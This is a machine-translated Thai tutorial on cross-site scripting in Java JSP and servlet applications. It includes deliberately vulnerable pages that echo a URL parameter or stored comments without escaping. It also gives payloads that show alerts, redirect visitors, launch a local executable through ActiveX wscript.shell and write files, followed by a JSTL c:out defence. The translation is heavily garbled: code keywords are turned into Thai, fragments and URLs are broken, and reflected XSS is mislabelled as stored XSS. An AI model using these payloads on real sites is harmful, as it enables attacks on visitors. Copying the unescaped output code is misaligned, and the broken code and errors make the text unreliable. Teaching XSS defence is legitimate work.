คำนำ
สวัสดีทุกคนผู้ชายที่ดีคือฉันฉันเป็นคนดีฉันคือ -0nise บนแพลตฟอร์มการรายงานช่องโหว่ที่สำคัญเรามักจะเห็นช่องโหว่ของ XSS ดังนั้นคำถามคือทำไมช่องโหว่นี้จึงเกิดขึ้น? ช่องโหว่นี้ควรได้รับการแก้ไขอย่างไร?
ข้อความ
1.xss? XSS? XSS คืออะไร?
XSS เรียกอีกอย่างว่าสคริปต์ไซต์ข้าม ฉันจะไม่บอกเขาว่าเดิมเรียกว่า CSS แต่เพื่อไม่ให้สับสนกับแผ่นสไตล์ CSS ที่เราใช้ CSS (การโจมตีสคริปต์ข้ามไซต์), CSS (แผ่นสไตล์ cascading) นั้นโง่และไม่สามารถบอกความแตกต่างได้ ดังนั้นจึงเรียกว่า XSS
2. อันตรายของ XSS คืออะไร?
การทดลองที่ 1:
0x00 รหัสสร้าง
<%@ page language = "java" import = "java.util.*" pageencoding = "utf-8"%> <%String Path = request.getContextPath (); String basepath = request.getScheme ()+": //"+"getServerName ()+": " "-// w3c // dtd html 4.01 transitional // en"> <html> <head> <base href = "<%= basepath%>"> <title> jsp 'index.jsp' ของฉัน content = "no-cache"> <meta http-equiv = "Expires" content = "0"> <meta http-equiv = "คำหลัก" content = "keyword1, keyword2, keyword3"> <meta http-equiv = "คำอธิบาย" content = "นี่คือหน้าของฉัน" request.setcharacterencoding ("UTF-8"); // รับสตริงค่าที่ผู้ใช้ขาเข้า tmp = request.getParameter ("OPR"); // ค่าเริ่มต้นเริ่มต้นถ้า (tmp == null) {out.print ("111"); } else {// transcoding string opr = สตริงใหม่ (tmp.getBytes ("ISO-8859-1"), "UTF-8"); out.print (OPR); } %> ฉันเป็นเนื้อหา </div> </body> </html>0x01 เค้าโครงสภาพแวดล้อม
0x02 การเจาะช่องโหว่
เราเยี่ยมชม: http: // localhost: 8080/xss/index.jsp? opr = i%e6%98%a5%e7%a7%8b
จากนั้นเยี่ยมชม: http: // localhost: 8080/xss/index.jsp? opr = 0nise
ในที่สุดเราก็ค้นพบ "กฎหมายที่ยิ่งใหญ่":
พิมพ์หน้าใด ๆ พารามิเตอร์ OPR เท่ากับ (ดูเหมือนไร้สาระ)
มาโหลดรูปภาพกันเถอะ
เยี่ยมชม: http: // localhost: 8080/xss/index.jsp? opr =%3cimg%20src =%221.png%22%3e%3c/img%3e
เนื่องจากสามารถโหลดภาพทั้งหมดไฟล์ JS ของเราก็โหลดด้วยหรือไม่
เยี่ยม: http: // localhost: 8080/xss/index.jsp? opr =%3cscript%3Ealert (/i%e6%98%a5%e7% A7%8B%E7%A4%เป็น%E5%8C%BA%E6%AC%A2%E8%BF%8E%E5%A4%A7%E5%AE%B6/)%3C/SCRIST%3E
JS? JS? เป็นไปได้ไหมที่จะเปลี่ยนที่อยู่หลังจากกระโดด?
เยี่ยมชม: http: // localhost: 8080/xss/index.jsp? opr =%3cscript%3elocation.href =%27http: //bbs.icunqiu.com%27%3c/script%3e
เนื่องจาก XSS สามารถโหลด JS ได้เราจึงเปิดสิ่งท้องถิ่นผ่าน JS หรือไม่?
ใส่ไฟล์ md5.exe ล่วงหน้า
เยี่ยมชม: http: // localhost: 8080/xss/index.jsp? opr = <script> var objshell = new ActivexObject ("wscript.shell"); objshell.run ("g:/work/xss/webroot/md5.exe");
เนื่องจากแม้แต่ไฟล์ท้องถิ่นก็สามารถเปิดได้โทรจันไฟล์ระยะไกล? มีการปลอมแปลงคอมพิวเตอร์หรือไม่? นี่คือควอดเรนต์อย่างช้าๆ ฉันไม่ได้พูด - - - -
ไฟล์ทั้งหมดสามารถเปิดได้ดังนั้นสิ่งที่เกี่ยวกับการเขียนบางไฟล์?
เยี่ยมชม: http: // localhost: 8080/xss/index.jsp? opr =%3cscript%3evar%20fso, tf; fso%20 =%20New%20ActExObject (%22Scripting.FilesYSTEMBOCTION%22); tf.writeline (%22i%e6%98%a5%e7%a7%8b%e7%a4%เป็น%e5%8c%ba%e6%ac%a2%e8%bf%8e%e6%82%a8%22); tf.close (); แจ้งเตือน (%22%E6%96%87%E4%BB%B6%E5%86%99%E5%85%A5%E6%88%90%E5%8A%9F%EF%BC%81%22)
ผ่านการทดลองข้างต้นเราสามารถเห็นการดำเนินการกำหนดพารามิเตอร์ OPR หากพารามิเตอร์ OPR ไม่มีค่าก็ไม่สามารถดำเนินการได้ บุคคลที่ถูกโจมตีจะต้องเข้าถึงผู้โจมตีที่ออกแบบไว้ล่วงหน้าก่อนโจมตี วิธีการโจมตี XSS นี้เรียกว่า: Storage XSS
หากคุณต้องการเห็นการทดลองที่ทรงพลังกว่านี้โปรดอ่านต่อ
การทดลองที่ 2:
คำนำ:
เว็บไซต์ส่วนใหญ่จะจัดการกับข้อมูล ดังนั้นเว็บไซต์เหล่านี้จะเป็นอย่างไรเมื่อช่องโหว่ของ XSS ปรากฏขึ้น?
0x00 รหัสสร้าง
ส่วนฐานข้อมูล
basedao.java
นำเข้า java.sql.Connection; นำเข้า Java.sql.DriverManager นำเข้า java.sql.preparedStatement; นำเข้า java.sql.resultset; นำเข้า java.sql.sqlexception; นำเข้า Java.sql.statement; ลอง {class.forname ("com.microsoft.sqlserver.jdbc.sqlserverdriver"); conn = drivermanager.getConnection ("JDBC: SQLServer: // localhost: 1433; databasename = SQLTMP", "SA", "SA"); } catch (classnotFoundException e) {e.printStackTrace (); } catch (sqlexception e) {e.printstacktrace (); } return conn; } // วิธีการปิดลิงก์โมฆะสาธารณะ closeall (การเชื่อมต่อ Conn, สถิติคำสั่ง, Resultet rs) {ลอง {ถ้า (rs! = null) rs.close (); if (stat! = null) stat.close (); if (conn! = null) conn.close (); } catch (sqlexception e) {e.printstacktrace (); }} // overload วิธีปิดโมฆะสาธารณะ closeall (Connection Conn, PreparedStatement PSTAT, ResultSet RS) {ลอง {ถ้า (rs! = null) rs.close (); if (pstat! = null) pstat.close (); if (conn! = null) conn.close (); } catch (sqlexception e) {e.printstacktrace (); }} // ดำเนินการต่อเพื่อโอเวอร์โหลดโมฆะสาธารณะ closeall (Connection Conn, PreparedStatement pStat) {ลอง {ถ้า (pstat! = null) pstat.close (); if (conn! = null) conn.close (); } catch (sqlexception e) {e.printstacktrace (); }} // วิธีการสาธารณะสำหรับการเพิ่มการลบและแก้ไขการอัปเดต int สาธารณะ (String SQL, Object [] PRAM) {PreparedStatement PSTAT = NULL; การเชื่อมต่อ conn = null; int a = 0; ลอง {conn = getConn (); PSTAT = Conn.PrepareStatement (SQL); // ถ่ายโอนผ่านชุดพารามิเตอร์และเพิ่มการติดต่อพารามิเตอร์ในชุดไปยังคำสั่ง SQL สำหรับ (int i = 1; i <= pram.length; i ++) {pstat.setObject (i, pram [i-1]); } // วิธีการโทร A = pstat.executeUpdate (); } catch (sqlexception e) {e.printstacktrace (); } ในที่สุด {closeall (conn, pstat); } return a; -commentdao.java
นำเข้า java.sql.*; นำเข้า Java.util.*; การนำเข้าเอนทิตี*; คลาสสาธารณะ commentdao ขยายตาม { /***รับข้อความทั้งหมด** /รายการสาธารณะ <mom> getComment () {// SQL คำสั่งสตริง SQL = "เลือก CID, cContext จากความคิดเห็น"; รายการ <mom> list = arraylist ใหม่ <momm> (); // การเชื่อมต่อวัตถุฐานข้อมูลการเชื่อมต่อวัตถุ conn = null; // SQL Execution Object PreparedStatement PSTMT = NULL; // ฐานข้อมูลการดำเนินการส่งคืนค่าผลลัพธ์ RS = null; ลอง {// สร้างลิงค์ฐานข้อมูล conn = this.getConn (); // สร้างวัตถุ Execution SQL PSTMT = Conn.Preparestatement (SQL); // ดำเนินการตามคำสั่ง SQL คืนค่า rs = pstmt.executeQuery (); // อ่านในขณะที่ (rs.next ()) {ความคิดเห็นความคิดเห็น = new comm (); comment.setcid (Rs.getInt ("CID")); comment.setcname (rs.getString ("cname")); comment.setCcontext (rs.getString ("cContext")); list.add (ความคิดเห็น); }} catch (exception e) {e.printstacktrace (); } ในที่สุด {// ปิด this.closeall (conn, pstmt, rs); } return list; } public int addComment (comm comment) {string sql = "แทรกลงในค่าความคิดเห็น (?,?)"; // จำนวนแถวที่ได้รับผลกระทบ int ผลลัพธ์ = 0; // การเชื่อมต่อวัตถุฐานข้อมูลการเชื่อมต่อวัตถุ conn = null; // SQL Execution Object PreparedStatement PSTMT = NULL; ลอง {// สร้างลิงค์ฐานข้อมูล conn = this.getConn (); // สร้างวัตถุ Execution SQL PSTMT = Conn.Preparestatement (SQL); // ตั้งค่าพารามิเตอร์ pstmt.setstring (1, comment.getcname ()); pstmt.setstring (2, comment.getCcontext ()); // ดำเนินการคำสั่ง SQL ผลลัพธ์ = pstmt.executeUpdate (); } catch (exception e) {e.printstacktrace (); } ในที่สุด {this.closeall (conn, pstmt); } ผลตอบแทนผลลัพธ์; -Commentservlvet
นำเข้า java.io.*; นำเข้า Javax.servlet.*; นำเข้า Javax.servlet.http.*; การนำเข้าเอนทิตี*; ความคิดเห็นระดับสาธารณะ request.Setcharacterencoding ("UTF-8"); Response.setContentType ("ข้อความ/html; charset = utf-8"); PrintWriter out = response.getWriter (); String OPR = request.getParameter ("OPR"); commentDao commentDao = new commentDao (); // เรียกคืนว่าพารามิเตอร์ว่างเปล่าถ้า (opr == null || opr.equals ("ทั้งหมด")) {request.setAttribute ("ทั้งหมด", commentDao.getComment ()); // forward request.getRequestDispatcher ("comment.jsp"). forward (คำขอ, การตอบกลับ); } อื่นถ้า (opr.equals ("เพิ่ม")) {comment ความคิดเห็น = new comm (); comment.setCname (request.getParameter ("Uname"))); comment.setCcontext (request.getParameter ("บริบท")); if (commentDao.addcomment (ความคิดเห็น)> 0) {out.print ("<script> การแจ้งเตือน ('ฝากข้อความสำเร็จ'); location.href = 'commentservlvet? opr = all'; </script>"); } else {out.print ("<script> การแจ้งเตือน ('ข้อความล้มเหลว'); location.href = 'commentservlvet? opr = all'; </script>"); }} else {request.setAttribute ("ทั้งหมด", commentDao.getComment ()); // forward request.getRequestDispatcher ("comment.jsp"). forward (คำขอ, การตอบกลับ); } out.flush (); out.close (); } / ** * dopost () * / โมฆะสาธารณะ dopost (คำขอ httpservletrequest, การตอบสนอง httpservletResponse) พ่น servletexception, ioexception {doget (คำขอ, การตอบสนอง); -comment.jsp
<%@ page language = "java" import = "java.util.*, entity.*" pageencoding = "utf-8"%> <%String Path = request.getContextPath (); String basepath = request.getScheme ()+": //" "-// w3c // dtd html 4.01 transitional // en"> <html> <head> <base href = "<%= basepath%>"> <title> my jsp 'comment.jsp' เริ่มต้น </title> <meta http-equiv = "pragma" content = "no-cache"> <meta http-equiv = "Expires" content = "0"> <meta http-equiv = "คำหลัก" content = "keyword1, keyword2, keyword3"> <meta http-equiv = "คำอธิบาย" if (request.getAttribute ("ทั้งหมด") == null) {request.getRequestDispatcher ("commentservlvet? opr = ทั้งหมด") ส่งต่อ (คำขอ, การตอบกลับ); } %> <bable> < % list <entity.comm> list = (entity <entity.comm>) request.getAttribute ("ทั้งหมด"); สำหรับ (int i = 0; i <list.size (); i ++) { %> <tr> <td> < %= list.get (i) .getCname () %> </td> <td> < %= list.get.get (i) .getCcontext () <textarea rows = "5" cols = "30" name = "บริบท"> </textarea> ชื่อเล่น: <อินพุต type = "text" name = "uname"/> <อินพุต type = "subment" value = "ส่ง"/> </form> </body> 0x01 การทดลองช่องโหว่
root@1~#
เราฝากข้อความไว้บนกระดานข้อความ:
<script> var objShell = new ActiveXObject("wscript.shell");objShell.Run("G:/work/XSS/WebRoot/Md5.exe");</script>
จากนั้นเยี่ยมชม: http: // localhost: 8080/xss/comment.jsp
ด้วยวิธีนี้ตราบใดที่คุณเข้าถึงหน้านี้ซอฟต์แวร์จะเปิดโดยอัตโนมัติและไฟล์ระยะไกลจะถูกสร้างขึ้น? เข้าใจช้า
root@2~#
เราฝากข้อความไว้บนกระดานข้อความ:
คัดลอกรหัสดังต่อไปนี้: <script> var fso, tf; fso = new ActivexObject ("Scripting.filesystemObject"); tf = fso.createtextfile ("d: //test.txt
จากนั้นเยี่ยมชม: http: // localhost: 8080/xss/comment.jsp
การเขียนไฟล์สำเร็จ
root@3~#
เนื้อหาข้อความ:
[รหัส] <script> location.href = 'http: //bbs.icunqiu.com' </bbsiu.com '</script> [รหัส]
เยี่ยมชมหน้า: http: // localhost: 8080/xss/comment.jsp
เยี่ยมชมหน้าข้อความเพื่อข้ามไปยังเว็บไซต์เฉพาะผู้โจมตีโดยอัตโนมัติ นี่คือการจี้ในตำนานหรือไม่?
3.XSS โซลูชันการป้องกัน
เมื่อคำพูดไปทุกที่ที่มีการโจมตีมีการป้องกัน เช่นเดียวกับ XSS มีวิธีการโจมตีและโซลูชั่นการป้องกัน
EL Expression + JSTL TAG Library
EL (ภาษานิพจน์): [size = 12.00pt] เพื่อให้การเขียน JSP ง่ายขึ้น ภาษานิพจน์ได้รับแรงบันดาลใจจาก Ecmascript และ XPath Expression Language มันมีวิธีการในการลดความซับซ้อนของนิพจน์ใน JSP เพื่อให้รหัส JSP ง่ายขึ้น
JSTL (ไลบรารีแท็กมาตรฐาน JSP): โอเพ่นซอร์ส JSP TAG Library
การทดลอง 1 รหัสการป้องกัน:
<%@ page language = "java" import = "java.util.*" pageencoding = "utf-8"%> <%@ taglib uri = "http://java.sun.com/jsp/jstl/core" prefix = "c"%> request.getScheme ()+": //"+request.getServerName ()+":"+request.getServerport ()+path+"/";%> <! 'index.jsp' หน้าเริ่มต้น </title> <meta http-equiv = "pragma" content = "no-cache"> <meta http-equiv = "cache-control" content = "no-cache"> <meta http-equiv = "expires" contentword <meta http-equiv = "คำอธิบาย" content = "นี่คือหน้าของฉัน"> </head> <body> <div style = "margin: 0 auto"> <% request.Setcharacterencoding ("UTF-8"); String tmp = request.getParameter ("OPR"); // ไม่ว่าค่าที่เข้ามาจะว่างเปล่าถ้า (tmp == null) {out.print ("111"); } else {// transcoding string opr = สตริงใหม่ (tmp.getBytes ("ISO-8859-1"), "UTF-8"); request.setAttribute ("ชื่อ", OPR); %> <c: out value = "$ {requestscope.name}"> </c: out> < %} %> ฉันเป็นเนื้อหา </div> </body> </html>การทดลอง 2 รหัสการป้องกัน:
<%@ page language = "java" import = "java.util.*, entity.*" pageencoding = "utf-8"%> <%@ taglib uri = "http://java.sun.com/jsp/jstl/core request.getScheme ()+": //"+request.getServerName ()+":"+request.getServerport ()+path+"/";%>
<! doctype html public "-// w3c // dtd html 4.01 transitional // en"> <html> <head> <base href = "<%= basepath%>"> <title> jsp 'my comment.jsp' http-equiv = "cache-control" content = "no-cache"> <meta http-equiv = "หมดอายุ" content = "0"> <meta http-equiv = "คำหลัก" content = "คำหลัก 1, คำหลัก 2, คำหลัก request.Setcharacterencoding ("UTF-8"); if (request.getAttribute ("ทั้งหมด") == null) {request.getRequestDispatcher ("commentservlvet? opr = ทั้งหมด") ส่งต่อ (คำขอ, การตอบกลับ); } %> <table> <!-โซลูชันการป้องกัน XSS-> <c: foreach var = "x" items = "$ {requestscope.all}"> <tr> <td> <c: out value = "$ {x.getcname ()}"> </c: </td> <td> </td> </td> </tr> </c: foreach> </table> <form action = "commentservlvet? opr = เพิ่ม" method = "post"> <textarea rows = "5" cols = "30" name = "บริบท"> </textarea> ชื่อเล่น: < </body> </html> บทสรุป
เทคโนโลยีไม่ใช่ขาวดำและความเชี่ยวชาญเป็นสิ่งที่ดีมาก